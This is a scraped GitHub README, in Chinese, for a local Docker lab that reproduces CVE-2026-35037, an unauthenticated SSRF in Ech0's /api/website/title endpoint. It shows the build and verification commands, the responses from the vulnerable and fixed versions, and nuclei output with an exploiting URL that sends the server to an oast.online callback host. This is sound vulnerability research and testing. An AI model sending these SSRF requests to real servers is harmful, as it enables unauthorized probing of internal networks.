fineman999/POC_CVE-2026-35037

GitHub: fineman999/POC_CVE-2026-35037

这是一个用于复现CVE-2026-35037 SSRF漏洞的本地隔离实验环境。

Stars: 0 | Forks: 0

# CVE-2026-35037 Ech0 SSRF 实验室 本仓库包含一个用于复现 `CVE-2026-35037` 的本地隔离实验环境,该漏洞是 Ech0 的 `GET /api/website/title` 端点存在的未授权 SSRF 漏洞。 实验室使用受控的本地证据服务器,而非云元数据或第三方基础设施。 ## 摘要 - 产品:`lin-snow/Ech0` - 漏洞类型:服务端请求伪造 - CVE 编号:`CVE-2026-35037` - GHSA 编号:`GHSA-cqgf-f4x7-g6wc` - 受影响版本:GHSA 列出 `<= 4.2.1`;NVD 描述为 `4.2.8` 之前的所有版本 - 已修复版本:`4.2.8` - 受影响端点:`GET /api/website/title` - 参数:`website_url` - 身份验证:漏洞版本中无需认证 参考链接: - https://nvd.nist.gov/vuln/detail/CVE-2026-35037 - https://github.com/lin-snow/Ech0/security/advisories/GHSA-cqgf-f4x7-g6wc ## 文件说明 - `docker-compose.yml`:启动 Ech0 和本地证据 HTTP 服务器 - `Dockerfile.ech0-lab`:从官方 GitHub 标签构建 Ech0 镜像 - `verify-cve-2026-35037.sh`:发送受控的 SSRF 验证请求 - `evidence/index.html`:包含唯一 `` 标签的受控 HTML 页面 - `nuclei/CVE-2026-35037.yaml`:nuclei 模板候选文件 ## 为何从源代码构建? 当实验室创建时,历史漏洞 Docker 标签如 `sn0wl1n/ech0:4.2.1` 已无法获取。因此,本实验室改为从官方 `lin-snow/Ech0` 的 GitHub 标签构建: - `v4.2.1` 作为漏洞版本候选 - `v4.2.8` 用于修复版本对比 本地 Dockerfile 也避免了在使用历史 `build.Dockerfile` 时观察到的上游构建问题。 ## 环境要求 - Docker Engine 或 Docker Desktop - `curl` - 可选:`nuclei` 请仅在本地隔离环境中运行此实验。切勿将这些命令用于第三方系统。仅针对您拥有或已获得明确书面授权测试的系统使用。 ## 复现漏洞行为 启动 Ech0 `v4.2.1`: ``` ECH0_TAG=4.2.1 docker compose up -d --build ``` 发送受控验证请求: ``` sh verify-cve-2026-35037.sh ``` 预期漏洞响应: ``` HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 {"code":1,"msg":"获取网站标题成功","data":"ECH0-SSRF-CVE-2026-35037"} ``` 确认 Ech0 已访问受控证据服务器: ``` docker compose logs evidence ``` 观察到的证据日志: ``` ech0-cve-2026-35037-evidence | 192.168.107.3 - - [20/May/2026 03:48:51] "GET / HTTP/1.1" 200 - ``` ## 对比修复版本 启动 Ech0 `v4.2.8`: ``` docker compose down -v ECH0_TAG=4.2.8 docker compose up -d --build ``` 运行相同请求: ``` sh verify-cve-2026-35037.sh ``` 观察到的修复版本响应: ``` HTTP/1.1 401 Unauthorized Content-Type: application/json; charset=utf-8 {"code":0,"msg":"未找到令牌,请点击右上角登录","error_code":"TOKEN_MISSING","message_key":"auth.token_missing","data":null} ``` ## Nuclei 验证 验证模板: ``` nuclei -validate -t nuclei/CVE-2026-35037.yaml ``` 针对漏洞版本 `v4.2.1` 运行: ``` nuclei -t nuclei/CVE-2026-35037.yaml -u http://127.0.0.1:6277 ``` 观察到的漏洞结果: ``` [INF] Using Interactsh Server: oast.online [CVE-2026-35037] [http] [high] http://127.0.0.1:6277/api/website/title?website_url=http://d86j283ea0u4jbaqj8dgo4cgc4jhn7r3f.oast.online/ [INF] Scan completed in 6.425886625s. 1 matches found. ``` 针对修复版本 `v4.2.8` 运行: ``` nuclei -t nuclei/CVE-2026-35037.yaml -u http://127.0.0.1:6277 ``` 观察到的修复结果: ``` [INF] Using Interactsh Server: oast.fun [INF] Scan completed in 5.974574416s. No results found. ``` ## 清理 ``` docker compose down -v ``` ## 注意事项 - 手动实验室在 Docker Compose 网络内部使用 `http://evidence:8080/`。 - nuclei 模板使用 `{{interactsh-url}}`,需要 OAST/interactsh 支持。 - nuclei 模板使用 `{{interactsh-url}}`,默认联系 ProjectDiscovery 的 interactsh 服务器,例如 `oast.online` 或 `oast.fun`。可使用 `-iserver` 覆盖服务器或使用 `-ni` 禁用 interactsh。 - 本实验室不探测云元数据端点。 - 本实验室不联系生产环境或第三方目标,Docker 构建过程中的常规依赖/镜像下载除外。</div><div><strong>标签:</strong>CISA项目, CVE-2026-35037, Docker容器化, HTTP端点, 安全实验室, 安全测试, 应用安全, 情报收集, 攻击性安全, 攻击模拟, 服务器端请求伪造, 未认证漏洞, 本地隔离环境, 概念验证POC, 漏洞复现, 漏洞研究, 网络安全, 请求伪造, 请求拦截, 隐私保护, 驱动签名利用</div></article></div> <!-- 人机验证 --> <script> (function () { var base = (document.querySelector('base') && document.querySelector('base').getAttribute('href')) || ''; var path = base.replace(/\/?$/, '') + '/cap-wasm/cap_wasm.min.js'; window.CAP_CUSTOM_WASM_URL = new URL(path, window.location.href).href; })(); </script> </body> </html>